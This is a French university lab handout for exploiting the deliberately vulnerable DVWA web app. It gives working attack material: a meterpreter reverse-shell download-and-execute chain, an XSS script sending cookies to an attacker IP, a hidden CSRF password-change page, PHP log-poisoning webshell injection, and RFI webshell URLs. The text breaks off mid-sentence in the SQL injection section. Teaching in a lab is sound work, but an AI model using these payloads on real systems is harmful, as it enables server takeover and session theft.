UE Cybersecurite-TP DVWA v0.6

DVWA
Identification du document
Référence Ue_Cybersécurité-Dvwa.Docx
Date de création 28/10/2017
Rédaction (R) BERTRAND Cédric
Version V 0.6
Nombre de pages 58
Historique du document
Version Date Auteur Commentaires
V 0.1 28/10/2017 Cédric BERTRAND Initialisation du document
V 0.2 12/11/2017 Cédric BERTRAND Modifications
Liens de référence
DVWA : Solutions,
explications et étude des https://www.information-security.fr/dvwa-sql-injection-solutions-
protections protections/
UE Cybersécurité DVWA 09/11/18
Sommaire
1 Objet du document ......................................................................................................... 4
2 DVWA ............................................................................................................................ 4
2.1 Outils ....................................................................................................................... 4
2.2 Configuration de DVWA .......................................................................................... 6
3 Cartographie de la machine DVWA ................................................................................ 7
3.1 Détecter la machine ................................................................................................ 7
3.2 Faire un scan de vulnérabilités ................................................................................ 8
4 Exploitation de vulnérabilités .........................................................................................10
4.1 Brute-force .............................................................................................................10
4.1.1 Description ......................................................................................................10
4.1.2 Exploitation .....................................................................................................11
4.2 Découvrir les ressources cachées (fuzzing) ...........................................................14
4.2.1 Description ......................................................................................................14
4.2.2 Exploitation .....................................................................................................14
4.3 Exécution de commandes ......................................................................................17
4.3.1 Description ......................................................................................................17
4.3.2 Exploitation .....................................................................................................19
4.3.2.1 Exploitation simple ...................................................................................19
4.3.2.2 Exploitation avancée ................................................................................19
4.4 XSS........................................................................................................................20
4.4.1 Description ......................................................................................................20
4.4.2 Exploitation .....................................................................................................22
4.5 CRSF .....................................................................................................................25
4.5.1 Description ......................................................................................................25
4.5.2 Exploitation .....................................................................................................25
4.6 La faille LFI (Local File Injection) ............................................................................29
4.6.1 Description ......................................................................................................29
4.6.2 Exploitation .....................................................................................................30
4.7 La faille RFI (Remote File Inclusion) .......................................................................37
4.7.1 Description ......................................................................................................37
4.7.2 Exploitation .....................................................................................................37
4.7.2.1 Exploitation manuelle ...............................................................................37
4.7.2.2 Exploitation automatisée ..........................................................................37
4.8 SQL Injection..........................................................................................................39
4.8.1 Description ......................................................................................................39
4.8.2 Exploitation .....................................................................................................40
4.8.2.1 Exploitation manuelle ...............................................................................40
4.8.2.2 Exploitation automatisée ..........................................................................44
5 Blind SQL Injection ........................................................................................................47
Classification : Public 2 / 58
5.1 Description .............................................................................................................47

5.2 Exploitation ............................................................................................................48
5.2.1 Exploitation simple ..........................................................................................48
5.3 Upload....................................................................................................................51
5.3.1 Description ......................................................................................................51
5.3.2 Exploitation .....................................................................................................51
6 Aller plus loin .................................................................................................................56
6.1 Comptes faibles FTP ..............................................................................................56
6.2 Elévation de privilèges ...........................................................................................56
6.2.1 Description ......................................................................................................56
6.2.2 Exploitation .....................................................................................................56
1 Objet du document
Ce document a pour objet de présenter les techniques d’exploitation offensive. L’objectif est
de découvrir et d’expérimenter des techniques d’exploitation avancées avec l’application
vulnérable DVWA.
Note n° 1: vous trouverez surlignées en vert, les méthodes/techniques à connaitre pour

réaliser le prochain TP noté.
Note n°2 : les techniques d’exploitation avancée sont réservées aux personnes qui ont un
niveau avancé. Si c’est votre première expérience avec le pentest, débutez par les
techniques d’exploitation simples.
2 DVWA
DVWA est une application web qui contient de nombreuses vulnérabilités. Elle est destinée
aussi bien aux professionnels de la sécurité qu’aux personnes souhaitant s’entraîner ou
voulant en apprendre plus sur les attaques Web, de tester des techniques d’attaques dans
un environnement légal.
2.1 Outils
Pour effectuer ce tp, voici la liste des outils utilisés. Pour plus de simplicité, il est conseillé
d’utiliser la distribution Kali.
Burp : intégré avec Kali

Nessus : https://www.tenable.com/products/nessus-vulnerability-scanner
Metasploit : intégré avec Kali
Sqlmap : intégré avec Kali
Beef : intégré avec Kali
WSO (webshell) : https://github.com/tennc/webshell/blob/master/php/wso2.5.1.php
Fuzz_common.txt : Fichier qui contient les repertoires et les fichiers les plus utilizes sur un
serveur web
Linuxprivchecker : script python utilisé pour l’élévation de privilèges
Iso
Kali (iso) : https://www.kali.org/
DVWA : https://github.com/ethicalhack3r/DVWA (télécharger l’ISO de dvwa pour plus de
simplicité)
Configurer virtualbox (ou tout autre logiciel de virtualisation) pour que kali et dvwa soit sur le
même sous réseau local. Configurer la carte locale sur voboxnet0 (réseau interne de
virtualbox)
Bien vérifier que le serveur dhcp est activé sur le réseau interne de Virtualbox (vboxnet)
Une fois la machine dvwa lancée, vous pouvez taper la commande « ipconfig » pour vérifier
sa configuration IP :
2.2 Configuration de DVWA

Installer la base de données dvwa (http://<ip>/setup.php -> Create Database)
Puis se connecter à l’interface de dvwa (http://<ip>). L’identifiant est « admin » et le mot de

passe « password ».
Puis configurer dvwa avec le niveau de sécurité « low » -> Onglet DVWA Security
Maintenant DVWA est configuré.
3 Cartographie de la machine DVWA

3.1 Détecter la machine
Faites un scan nmap pour détecter les services de la machine
Nmap –p22,80,443 –sV –sC <ip_de_dvwa>
3.2 Faire un scan de vulnérabilités

Faire un scan de vulnérabilités avec Nessus
1- Faire un scan nessus par défaut (sans configurer d’options)
2- Refaire un scan avec les options ci-dessous
Options :
- sélectionner « advanced scan »
- sélectionner scan des applications web
- sélectionner le brute-force des comptes (dé-sélectionner la case « only use

credentials provided by the user »)
Technique avancée
3- Une fois le scan réalisé, refaire un scan nessus en indiquant un cookie de session
avec la sécurité de dvwa activée à Low. (pour se faire, authentifiez-vous sur dvwa,
configurer le sécurité au niveau Low, puis enregistrez le cookie de session)
Figure 1 Récupération du cookie
Figure 2 Enregistrer le cookie dans un fichier texte et le configurer pour que nessus l'utilise
Quelles sont les différences entre les 3 scans ?
4 Exploitation de vulnérabilités
L’exploitation des vulnérabilités doit être réalisée avec Burp. Le document
« UE_Cybersecurite-Burp_v0.2 » vous aidera à configurer dvwa avec Burp si besoin.
4.1 Brute-force
4.1.1 Description
Les attaques de type “brute force” portent bien leur nom, il s’agit de tester une très grande
quantité de mots de passe pour un utilisateur donné, en présumant (avec certitude si l’on
dispose d’énormément de temps) que l’on tombera un jour sur le bon. La plupart des
processus d’authentification aujourd’hui demandent au minimum deux informations :
- Un login
- Un mot de passe
Les logins peuvent être faciles à trouver, la plupart des applications et logiciels disposent
souvent d’un compte d’administration “admin“, “root” ou “administrateur“. Dans d’autres cas,
les logins des utilisateurs peuvent être trouvés en faisant quelques recherches, un nom de
session Windows ou le nom des auteurs d’articles sur un blog (type CMS, WordPress),
etc. Une attaque par brute force est très simple à mettre en place lorsqu’il n’y a pas de
protectoin, on peut la schématiser comme suivant :
L’idée est donc que, si l’on peut proposer un nombre infini de réponse, on tombera
forcément sur la bonne à un moment donné.
Il faut savoir qu’il existe deux types d’attaque par brute force :
 Avec dictionnaire : Dans ce cas, on se base sur une liste de mots, appelée dictionnaire,
pour générer notre attaque. Plus précisément, nous allons par exemple prendre la liste
des 100 mots de passe les plus utilisés et mettre cela dans un fichier. Pour chaque
login connu, nous allons tenter de nous authentifier avec ces 100 mots de passe (un
par un) en supposant qu’un utilisateur sera susceptible d’avoir mis un de ces mots de
passe. Les dictionnaires peuvent être variés, être composés de noms propres à une
application, un contexte, une entreprise ou au contraire être composés de tous les mots
de passe dit “faibles” que les utilisateurs sont susceptibles d’utiliser (Exemple : Love,
God, Soleil, password123, …).
 Sans dictionnaire : Ici, nous n’avons aucune information, il faut donc tester une à une
toutes les possibilités, mélanger les caractères alphanumériques, les caractères
spéciaux, etc. Par exemple, on va tester “aa“, puis “ab“, etc., puis passer à “aaa“, “aab“,
une fois que toutes les chaînes à deux caractères auront été tentées. Cela fait bien
entendu un nombre infini de possibilités qu’il est possible de cadrer en fonction des
informations dont on dispose, par exemple si l’on sait que l’application force l’utilisation
de mot de passe entre 8 et 10 caractères sans caractères spéciaux.
Au delà d’utiliser un très grand nombre de possibilités, il est également courant que les mots
de passe utilisés soient ceux par défaut. Alors, il est inutile de déployer les grands moyens,
et tester les mots de passe par défaut les plus répandus suffit. Exemple : “admin“,
“password“, “root“, “toor“, ou le nom de l’application.
4.1.2 Exploitation
Essayer de découvrir le mot de passe de l’utilisateur « admin ».
Capturer une authentification avec Burp.
Nous allons utiliser le module Intruder qui permet de répéter une action plusieurs fois
(exemple : essayer plusieurs mots de passe)
Dans cet écran, on choisit la variable que l’on souhaite tester. Sur l’écran, le mot « pass »
est en surbrillance car c’est celui que nous voulons tester:
Allons ensuite sur l’onglet « payload » : utiliser la wordlist « weaksauce.txt » fournie avec ce
tp.
Pour brute-forcer une authentification htaccess, vous pouvez consulter ce lien :

http://www.dailysecurity.net/2013/03/22/http-basic-authentication-dictionary-and-brute-force-
attacks-with-burp-suite/
4.2 Découvrir les ressources cachées (fuzzing)

4.2.1 Description
Un fuzzer est un logiciel qui va faire du fuzzing, c’est-à-dire de l’injection de données
pseudo-aléatoire dans les entrées d’un programme pour voir sa réaction.
Le fuzzing web permet de déterminer les répertoires et fichiers qui peuvent être vus depuis
l’extérieur de votre application web. Il est possible de lister un ensemble de pages ou de
dossiers sur un serveur ou une application web. Autrement dit, il s’agit d’un scanner de
répertoires et de page web, En opérant par brute force il est possible de détecter la présence
de répertoires, de fichiers, de mots ou de code hexa dans la réponse de la machine cible.
Exemple de web fuzzing avec le logiciel wfuzz :
Liens : http://thpierre.developpez.com/articles/fuzzing/
4.2.2 Exploitation
Découvrir des répertoires cachés sur l’application DVWA avec Burp. Pour cela, vous pouvez
utiliser le fichier « fuzz_common_tp.txt » qui contient le nom des répertoires et fichiers les
plus communs sur un serveur web.
Nous venons de découvrir l’existence de plusieurs répertoires (config, docs, external,

phpmyadmin, etc.)
4.3 Exécution de commandes

4.3.1 Description
Les failles de type “command execution” consistent en le fait qu’un attaquant puisse exécuter
des commandes et plus précisément du code depuis l’application web ciblée. Le principe est
donc que l’attaquant va utiliser les composants de l’application pour exécuter du code sur le
serveur, code qu’elle n’est normalement pas censée exécuter. Cela est généralement
intéressant pour un attaquant car il peut alors exécuter des commandes directement sur le
serveur et utiliser cela comme un premier point d’entrée.
Il est à noter que dans le cas d’une telle attaque, les commandes sont exécutées avec les
droits et les privilèges de l’application web qui les exécute. On voit alors grandement l’intérêt
de faire tourner un serveur web avec des droits autres que ceux de “root“. L’exécution de
commande à distance dans une application web tournant avec les droits de “root” permettrait
à l’attaquant d’avoir directement tous les droits sur la machine cible. Si un compte avec des
droits plus restreints est utilisé (exemple : apache ou www-data), l’attaquant n’aura que ces
droits restreint via l’exécution des commandes.
Dans cet exercice, nous pouvons exécuter un ping sur l’adresse ip que nous souhaitons.
Néanmoins en Linux, il est possible « d’enchainer les commandes » au sein d’une même
commande. Par exemple, je peux afficher le contenu d’un fichier et au sein du résultat ne
garder que les lignes qui m’intéressent. Je souhaite par exemple afficher les mots de passe
du fichier « weaksauce.txt » et ne garder que les mots de passe qui contiennent le mot
« pass » (commande « cat » affiche le contenu du fichier, la commande « grep » garde
uniquement les lignes avec un mot-clé choisi:
Pour plus d’informations sur l’enchainement des commandes sous Linux, vous pouvez
consulter cet article : https://www.it-connect.fr/lenchainement-des-commandes-sous-
linux%EF%BB%BF/
Nous allons par exemple utiliser le "&&" pour enchainer des commandes
Le « && »
Il est parfois utile d'exécuter une commande que si les commandes précédentes ont
réussies. Par exemple si l'on souhaite vérifier l'existence d'un dossier et, s’il existe, y créer
un fichier :
cd /home/~/dossier1 && touch file1

Ici, si la commande "cd /home/~/dossier1" ne s'exécute pas correctement (que le dossier
n'existe pas), la commande "touch file1" qui créer un fichier vide ne s'exécutera pas non plus
et par conséquent ne déclenchera pas de message d'erreur.
Linux enregistre un paramètre à chaque exécution de commande (comme un flag) qui peut
être récupéré dans un script (par exemple). Ce paramètre se met à "0" si la commande s'est
executée correctement et à "2" (dans la plupart des cas) quand la commande à échouée.
Pour déterminer si une commande a bien réussie, Linux analyse ce paramètre et, dans le
cas d'un "0" avec un enchainement de commande "&&", il exécute la commande suivante. Si
le paramètre en question est "2", c'est que la commande précédente ne s'est pas
correctement déroulée et il met donc fin à l'exécution des prochaines commandes.
Nous allons utiliser le « && » pour exécuter une commande :
4.3.2 Exploitation
4.3.2.1 Exploitation simple
Afficher le fichier /etc/passwd.
Essayer d’afficher le contenu du fichier /etc/shadow ; Cela marche-t-il ? Pourquoi ?
4.3.2.2 Exploitation avancée

L’idée est de générer un webshell meterpreter avec metasploit, de l’uploader sur le serveur
et de récupérer un shell sur la machine vulnérable.
Méthodo
 Générer un meterpreter avec msfvenom
o msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp
LHOST=192.168.1.32 LPORT=4444 -f elf > shell.elf
 Rendre ce binaire accessible à distance
o Créer un répertoire web accessible depuis son poste: python -c 'import
SimpleHTTPServer;SimpleHTTPServer.test()' 7777
o Ou faire python -m SimpleHTTPServer 7777
 Congurer metasploit pour le mettre en attente de connexion
o use exploit/multi/handler
o set PAYLOAD <Payload name>
o set LHOST <LHOST value> (votre machine)
o set LPORT <LPORT value>
o set ExitOnSession false
o exploit -j -z
o jobs
 executer la commande suivante sur la cible
o wget -q http://192.168.1.32:7777/shell.elf -O /tmp/shell.elf && chmod +x
/tmp/shell.elf && /tmp/shell.elf
 si tout va bien, meterpreter sur la cible 
4.4 XSS
4.4.1 Description
Les failles de type XSS sont parmi les failles les plus répandues dans les applications
et sites web, elles sont d’ailleurs en troisième position dans l’OWASP Top Ten Vulnerability
2013 . Une faille XSS va permettre à un attaquant d’exécuter du code JavaScript dans
les navigateurs des utilisateurs des applications et sites web visés, cela en jouant sur
les données renvoyées par l’application web aux clients.
L’exécution et les possibilités de code Javascript permettent d’effectuer des actions

malveillantes chez les victimes, qui ne sont dans ce cas pas les applications et les
serveurs web, mais leurs visiteurs. Parmi ces possibilités, on retrouve le vol de cookies /
sessions, le défacement de site web ou encore la redirection des utilisateurs vers des URL
malveillantes (téléchargement de virus, phishing).
Il est toutefois à noter qu’il en existe deux types, les failles XSS réfléchies (comme un miroir)
et les failles XSS stockées.
La particularité des failles XSS réfléchies (reflected) est qu’elles ne sont pas
permanentes, cela signifie que le code malveillant que l’attaquant souhaite exécuter
sur les navigateurs des victimes n’est pas stocké dans l’application web mais est
propre à la requête/réponse entre le serveur web et la victime. Nous avons déjà vu
certains contextes où l’application web nous renvoie un mot ou une phrase que nous avons
saisi dans un formulaire.
Le cas le plus classique étant un formulaire de recherche. Si l’on recherche tous les articles
de “John“, la page retour contiendra quelque chose comme “Voici les articles de John” . On
voit alors que la page affichée est propre à la requête (la recherche faite par l’utilisateur).
Pour les failles XSS réfléchies, on retrouve ce fonctionnement car le code JavaScript à
exécuter va être positionné par l’attaquant dans l’URL ou les paramètres que la victime va
passer en requête au serveur. Voici un schéma de principe reprenant le fonctionnement
d’une attaque XSS réfléchie :
Ici, nous voyons donc que le pirate arrive à persuader sa victime d’aller cliquer sur un lien, ce
lien est une URL exploitant une faille XSS sur l’application web en question et va permettre
l’exécution de code JavaScript afin de, par exemple, récupérer son cookie de connexion afin
de le renvoyer vers le pirate, ce qui est une des possibilités du JavaScript.
Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/
Si l’on utilise une balise <h1> (balise html pour mettre un titre), on constate que le code est
interprété par l’application :
Nous constatons que nous pouvons aussi exécuté du code javascript. Exemple avec : «
<script>alert(« hello cedric »)</script>
Si l’on exécute la commande : <script>alert(document.cookie)</script> . Nous récupérons le

cookie de l’utilisateur :
Ce cookie peut ensuite être ré-utilisé pour usurper la session de l’utilisateur.
4.4.2 Exploitation
Récupérer le cookie de l’utilisateur et l’utiliser pour ouvrir une autre session
Lien : https://www.go4expert.com/articles/stealing-cookie-xss-t17066/
Nous allons tenter d’usurper l’identité de l’utilisateur en volant ses identifiants de session
(cookie).
L’idée est d’exécuter le code suivant. :
<script>new Image().src='http://attacker:port/?cookie=' +
encodeURI(document.cookie);</script>
<script>new Image().src='http://192.168.1.32:4444/?cookie=' +
encodeURI(document.cookie);</script>
Ce script réalise une requête afin de récupérer une image non existante (new Image().src), :
il s’agit d’un subterfuge afin de voler l’ensemble des cookies associés au domaine courant.
Le serveur envoie alors le cookie à la machine attaquante (192.168.1.32) et il est alors
possible de générer un cookie dans son navigateur afin d’accéder au compte de la victime.
Il suffit ensuite de copier le cookie dans le navigateur pour « usurper » l’identité de

l’utilisateur (utilisez un éditeur de cookie et changer les valeurs)
4.4.2.2.1 Coupler une XSS avec une vulnérabilité CRSF

Utiliser une vulnérabilité XSS pour exploiter la vulnérabilité CRSF et ainsi automatiquement
changer le mot de passe d’un utilisateur
4.4.2.2.2 Beef
Beef est un framework permettant d’exploiter les vulnérabilités de type XSS et de réaliser de
nombreuses actions comme :
 Récupération d’informations
 Vol de cookies (évidemment)
 Keylogger
 Liste des sites/domaines visités
 Fingerprint du navigateur (OS, plugins…)
 Webcam !
Utiliser le framework Beef pour exploiter la vulnérabilité XSS

Lien : http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-
framework/#sthash.Q1ONzRjc.dpbs
4.5 CRSF
4.5.1 Description
Les attaques de type cross-site request forgery (ou CSRF) sont mal connues et trop souvent
non prises en compte par les développeurs de sites Internet. Elles sont également souvent
confondues avec les attaques de type injection de code indirecte (cross-site scripting ou
XSS) alors que le principe est quelque peu différent (voir CERTA-2002-INF-001).
En français, un cross-site request forgery est une injection de requête(s) illégitime(s) par
rebond. Concrètement, pour un attaquant, cela consiste à effectuer des opérations sur un
site sans le consentement d’un utilisateur.
L’attaque consiste à provoquer l’envoi de requêtes (par exemple, GET ou POST) par une
victime vers un site vulnérable (V), à son insu et en son nom (cf. figures 1 et 2). L’envoi des
requêtes se fait lorsque la victime visite un site malveillant ou compromis (M), ou clique sur
un lien. L’attaque cible toujours un ou plusieurs sites en particulier qui sont vulnérables. Le
CSRF se fait toujours en aveugle, car l’attaquant provoque l’envoi d’une ou plusieurs
requêtes sans obtenir de réponse.
Figure 3 L’attaquant envoie un courriel qui provoque l’envoi d’une requête illégitime
Figure 4 La visite d’un site malveillant provoque l’envoi d’une requête illégitime
On peut distinguer deux types d’attaques : celles qui profitent d’une authentification déjà
établie sur le site (V) (session riding ou détournement de session) et celles qui vont forcer
une authentification sur ce site.
4.5.2 Exploitation
On commence tout d’abord par capturer la requête de changement de mot de passe avec
Burp
L’idée est de faire exécuter cette requête à un utilisateur à qui l’on souhaite changer le mot
de passe.
Pour cela, on va créer une simple page html qui contiendra notre requête. L’idée sera
ensuite d’inciter (ou de forcer) l’utilisateur à visiter cette page (envoi d’un courriel, faille xss,
etc.).
Code de la page csrf.html :

<DOCTYPE html>
<html lang="fr">
<head>
<title> csrf </title>
</head>
<body>
<img style="display:none"
src="http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned
&Change=Change" alt="">
</body>
</html>
L’ouverture de la page dans le navigateur web provoque la requête de changement du mot
de passe.

L’idée est d’exploiter une faille xss (plus de détails sur cette vulnérabilité sont présents ici)
pour automatiser le changement de mot de passe.
Si on reprend la requête pour le changement de mot de passe

(http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Ch
ange=Change ) et l’exploitation de la faille xss, on obtient :
<script>new
Image().src="http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf
=pwned&Change=Change";</script>
En exécutant ce script, une requête de changement de mot de passe est alors réalisée de
manière « invisible » :
Le changement de mot de passe a été exécuté de manière automatisée.
4.6 La faille LFI (Local File Injection)

4.6.1 Description
Une faille de type “File Inclusion” consiste en la possibilité d’inclure un fichier du système.
Plus précisément, cela consiste en le fait d’utiliser l’application et ses fonctionnalités afin de
charger des pages et des fichiers spécifiques, des fichiers internes aux serveurs qui n’ont
normalement pas à être lus par les clients du serveur web (faille LFI pour Local File
Inclusion), mais également des pages web externes au serveur web si le serveur web est
configuré pour (ce que l’on appelle une faille RFI pour Remote File Inclusion).
Outre le fait que l’application puisse alors être utilisée afin de charger des pages et fichiers
qu’elle n’est pas censée traiter, une faille de type File Inclusion peut amener à :
 Une exécution de code côté serveur, un code maîtrisé par le pirate
 Un déni de service, si l’on essaie par exemple de faire charger une ressource très
importante sur une page web
 La fuite d’informations sensibles, ce qui est notamment le cas lorsque l’on utilise une
faille de type File Inclusion pour lire des fichiers internes aux serveurs
Détaillons un peu le concept même de l’attaque. Certaines applications sont construites de
façon à recevoir en paramètre un fichier pouvant être exécuté, par exemple :
http://serveur/affichage.php?fichier=index.php
Ici, nous avons donc un script php “affichage.php” qui attend comme paramètre un nom de
fichier. On imagine donc que si on lui demande d’afficher “index.php” ou “index“, il va aller
chercher dans l’arborescence actuelle le fichier “index.php” puis l’exécuter pour l’afficher
dans la page.
Le fait est que si on demande maintenant au script “affichage.php” d’afficher un fichier
disponible sur un répertoire au dessus de lui-même, par exemple ../fichier2.html (en
supposant qu’il existe) :
http://serveur/affichage.php?fichier=../fichier2.html
On voit donc que l’on commence tout doucement à jouer avec l’arborescence interne du
serveur. Si l’on décide de remonter l’arborescence complète du serveur, c’est tout à fait
possible :
http://serveur/affichage.php?fichier=../../../../../../etc/pas
swd
Ici, quand une faille de type LFI est présente, on peut directement afficher le contenu de
certains fichiers sensibles comme par exemple le fichier /etc/passwd.
Par extension, une faille de type RFI consiste en la même opération sauf que l’on demande
à “affichage.php” d’aller chercher une ressource (image, fichier texte ou page HTML) qui se
situe sur un autre site. Il agira donc en tant que client web pour charger l’image et l’inclure
dans son code de rendu.
4.6.2 Exploitation
4.6.2.1.1 Avec Burp

Utiliser Burp pour récupérer le contenu du fichier /etc/password
4.6.2.1.2 Avec metasploit

Exploiter la vulnérabilité avec Metasploit pour obtenir un shell sur la machine cible
Générer un webshell meterpreter : msfvenom -p php/meterpreter/bind_tcp LPORT=4000 >
php_backdoor.php
Module metasploit : use exploit/unix/webapp/php_include
4.6.2.2.1 Utilisation de fimap

Le logiciel fimap qui permet exploiter automatiquement une vulnérabilité de type LFI pour
obtenir un accès shell (disponible sous Kali)
Option -X c’est pour exploiter une faille et obtenir un shell
python fimap.py --cookie="PHPSESSID=djonatc93aihcpcgpet1rbqtu7; security=low" -u

"http://192.168.1.77/vulnerabilities/fi/?page=" –X
Le paramètre “–X” sert à lancer l’exploitation de la vulnérabilité pour obtenir un shell.
4.6.2.2.2 Exploitation via les logs

L’idée est « d’injecter » des commandes php dans les journaux d’événements, puis de lire
ceux-ci afin que nos commandes soient exécutées.
Pourquoi les journaux d’événements et pas un autre fichier ? Tout simplement parce que
nous avons besoin d’écrire dans un fichier (pour injecter nos commandes) puis de lire le
fichier. Or chaque accès au serveur web est enregistré dans les journaux d’événements, et
que de base l’utilisateur www-data a un accès en lecture aux journaux d’événements du
serveur web.
La première étape est tout d’abord de déterminer quel est le chemin des journaux
d’événements pour ensuite pouvoir afficher le contenu du fichier.
Pour cela, on va tester les emplacements les plus communs des journaux d’événements du
serveur web et vérifier si on a un accès.
Sous cette version de dvwa (qui utilise lampp et non pas apache), le chemin des accès web
est : /opt/lampp/logs/access_log (note : ce fichier a été découvert par le fuzzing de fichiers
en exploitant la vulnérabilité LFI)
http://192.168.1.77/vulnerabilities/fi/?page=/opt/lampp/logs/access_log
Chaque accès au serveur web est enregistré dans ce fichier, maintenant on va chercher à y
injecter des commandes puis de lire le fichier afin que les commandes soient exécutées.
C’est comme si on écrivait des commandes dans un fichier texte puis qu’on lisait ce fichier
avec un interpréteur pour les exécuter. Là c’est ce qu’on va faire avec des commandes php.
L’idée est donc d’écrire les commandes que nous souhaitons exécuter dans les journaux
d’événements du serveur puis de lire ce fichier afin que nos commandes soient lues et
exécutées.
Comment faire ?
Regardons le format d’enregistrement d’un accès dans le journal d’événement :
Le format d’enregistrement est donc le suivant :

<ip_client> <date> <méthode_http> <url_accédée> <réponse_http> <taille_de_la_réponse>
La seule variable « facile » à contrôler dans ce format est l’url accédée.
Nous allons donc injecter nos commandes php via l’url. La commande qu’on cherche à
injecter est la suivante :
<?php echo shell_exec(base64_decode($_GET['cmd']));?>
On se connecte au serveur et on demande une page qui n’existe pas avec notre commande
:
nc <ip_dvwa> 80
GET /h<?php echo shell_exec(base64_decode($_GET['cmd']));?> HTTP/1.1
Dans le fichier des accès web du serveur, nous avons notre commande injectée qui a été
enregistrée et qui n’attend plus qu’à être exécutée. On lit alors le fichier et on passe notre
commande en paramètre (cmd=)
On demande l’accès au fichier des accès web (en indiquant la commande à exécuter
encodée en base 64) :
GET /vulnerabilities/fi/?page=/opt/lampp/logs/access_log&cmd=Y2F0IC9ldGMvcGFzc3dk
(la commande cat /etc/passwd a été encodée en base 64).
Le résultat de la commande (cat /etc/passwd) est alors affiché
On peut ensuite utiliser cette technique pour obtenir un accès au serveur.
4.6.2.2.3 Exécution de commandes via les wrappers

La fonctionnalité suivante est généralement assez peu connue dans PHP. En effet, PHP
propose une librairie permettant de gérer différents types de flux I/O (appelé aussi “stream”)
via un protocole interne nommé « php:// »1
Une manière d’inclure un flux dans PHP via le Wrappers : “php://input”. Comme le souligne
la documentation de PHP, il est possible de passer un flux (url encodé) en paramètre HTTP
POST (correspondant ici à la charge utile où “payload”) grâce à php://input.
Réponse de l’application :
1
http://php.net/manual/fr/wrappers.php
Il est aussi possible d’utiliser le module web_delivery2 de metasploit pour obtenir un accès
sur la cible (via meterpreter)
Ce module délivre une commande à exécuter sur la cible et permet d’uploader un

meterpreter en reverse-shell. Metasploit est en attente d’ouverture de session (comme pour
la vulnérabilité « exécution de commandes » en début de document :
Pour l’exploiter via la vulnérabilité citée, on encode la commande en base 64 :
Et on l’exécute via la commande php://input :
2
https://www.offensive-security.com/metasploit-unleashed/web-delivery/
La requête exécutée, metasploit qui était en attente de connexion, s’occupe du reste :
4.7 La faille RFI (Remote File Inclusion)

4.7.1 Description
Cette faille est une extension de la faille LFI.
Au lieu d’inclure un fichier local, il est possible de passer en paramètre une url pointant vers
un script malicieux développé par un pirate.
http://localhost/rfi.php?page=http://serveur-
pirate.net/exploit.php
Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante.
4.7.2 Exploitation
4.7.2.1 Exploitation manuelle
Il est possible d’exploiter cette vulnérabilité pour exécuter un webshell et prendre le contrôle
du serveur.
http://<ip_dvwa>/vulnerabilities/fi/index.php?page=http://<ip_attaquant>/webshell.php
Exemple d’une injection rfi ci-dessous
4.7.2.2 Exploitation automatisée

Il est possible d’utiliser le module php_include avec metasploit pour uploader et exécuter un
meterpreter sur la cible.
Ne pas oublier d’indiquer les cookies.
4.8 SQL Injection

4.8.1 Description
Les failles de type SQL Injection sont parmi les failles les plus courantes et les plus
dangereuses dans le domaine des applications web. Les injections SQL sont notamment
dangereuses car elles permettent d’accéder, dans certains contextes, à la quasi
totalité des informations contenues dans la base de données d’une application web,
nous en entendons souvent parler lors de piratages ayant entraîné des exfiltrations de
données, notamment des données utilisateurs (noms, mails, numéros de carte bleu, mots de
passe).
Lorsqu’une application web cherche des informations à traiter et/ou à afficher, elle va la
plupart du temps les chercher dans une base de données, locale ou distante. Alors, elle est
obligée de passer par une ou plusieurs requêtes SQL (Structured Query Language). Par
exemple si, dans un formulaire de recherche, je cherche tous les articles de l’auteur “bob“, je
vais envoyer une URL comme celle-ci au serveur web :
http://serveur.fr/search.php?s=bob
Le serveur web va alors utiliser ce paramètre afin d’effectuer une recherche dans une base
de données, qui contient un ensemble d’informations sur les articles et leurs auteurs, une
requête de ce type :
SELECT auteur, article FROM site.articles where auteur = "bob" .
La requête obtient alors un ensemble de données en retour, données qui vont être mises en
forme par PHP et retournées sous forme de page HTML au client web.
Le principe d’une injection SQL va donc être d’utiliser la requête SQL faite par le code
PHP afin de lire ou d’écrire des informations en base de données, cela n’étant
évidemment pas prévu par le développeur de l’application web.
Par contre il est nécessaire d’avoir quelques bases du langage SQL afin d’exploiter ce genre
de faille. On peut généralement exfiltrer une très grande quantité de données lorsqu’une
faille SQL injection est exploitée. Il est à noter que l’on retrouve également un principe de
cloisonnement important. Si l’application web requête la base de données avec un identifiant
tel que “root” ou un utilisateur ayant des droits de lecture/écriture sur d’autres bases de
données, il sera alors également possible de les requêter.
Sinon utiliser sqlmap.
4.8.2 Exploitation
4.8.2.1 Exploitation manuelle
Ce chapitre est très inspiré de l’article suivant : https://www.information-security.fr/dvwa-sql-
injection-solutions-protections/
Nous nous trouvons en face d’un formulaire de recherche des utilisateurs.
Si nous saisissons “1“, nous obtenons en retour “admin” .
La première chose à faire va être de voir à quel point nous pouvons agir sur la requête faite
en base de données. La plupart du temps, les requêtes SQL faites via PHP sont délimitées
par des guillemets ou desapostrophes, également, les paramètres fournis par le client web
sont parfois directement inclus dans la requête.
Ici, si l’on saisi ” 1′ ” on obtient une erreur SQL, cela prouve donc que l’on peut agir sur la
requête SQL faite au serveur de base de données, en tout cas modifier sa structure pour
qu’elle ne soit plus transmise de la même façon.
Voila plus exactement comment est construite la requête si nous regardons le code source :
"SELECT first_name, last_name FROM users WHERE user_id = '$id'"
Ici, nous pouvons voir que le paramètre envoyé par les clients via le formulaire est
directement inclus, sans vérification, dans la requête SQL. Voici donc ce que devient notre ”
1′ ” :
"SELECT first_name, last_name FROM users WHERE user_id = '1''"
On voit donc ici qu’il y a effectivement un problème d’apostrophe, d’où l’erreur. Essayons de
régler ce problème en rajoutant une apostrophe pour fermer celle que nous avons ouverte ”
1””:
"SELECT first_name, last_name FROM users WHERE user_id = '1'''"
Nous remarquons alors qu’il n’y a plus d’erreur, ici, on peut donc espérer inclure du code
dans la requête SQL, plus exactement rajouter des informations dans la requête SQL
"SELECT first_name, last_name FROM users WHERE user_id = '1' Informations ajoutées
dans la requête SQL sans occasionner d'erreur''"
Faisons simple pour l’instant en essayant d’afficher plus d’un utilisateur : 0′ OR user_id >’
"SELECT first_name, last_name FROM users WHERE user_id = '1' OR user_id >'"
Voici le résultat que l’on pourra voir :
Ce que nous voyons ici est donc une modification de la requête SQL passée par le script
PHP. Au lieu de simplement demander l’affichage des informations pour l’utilisateur ayant
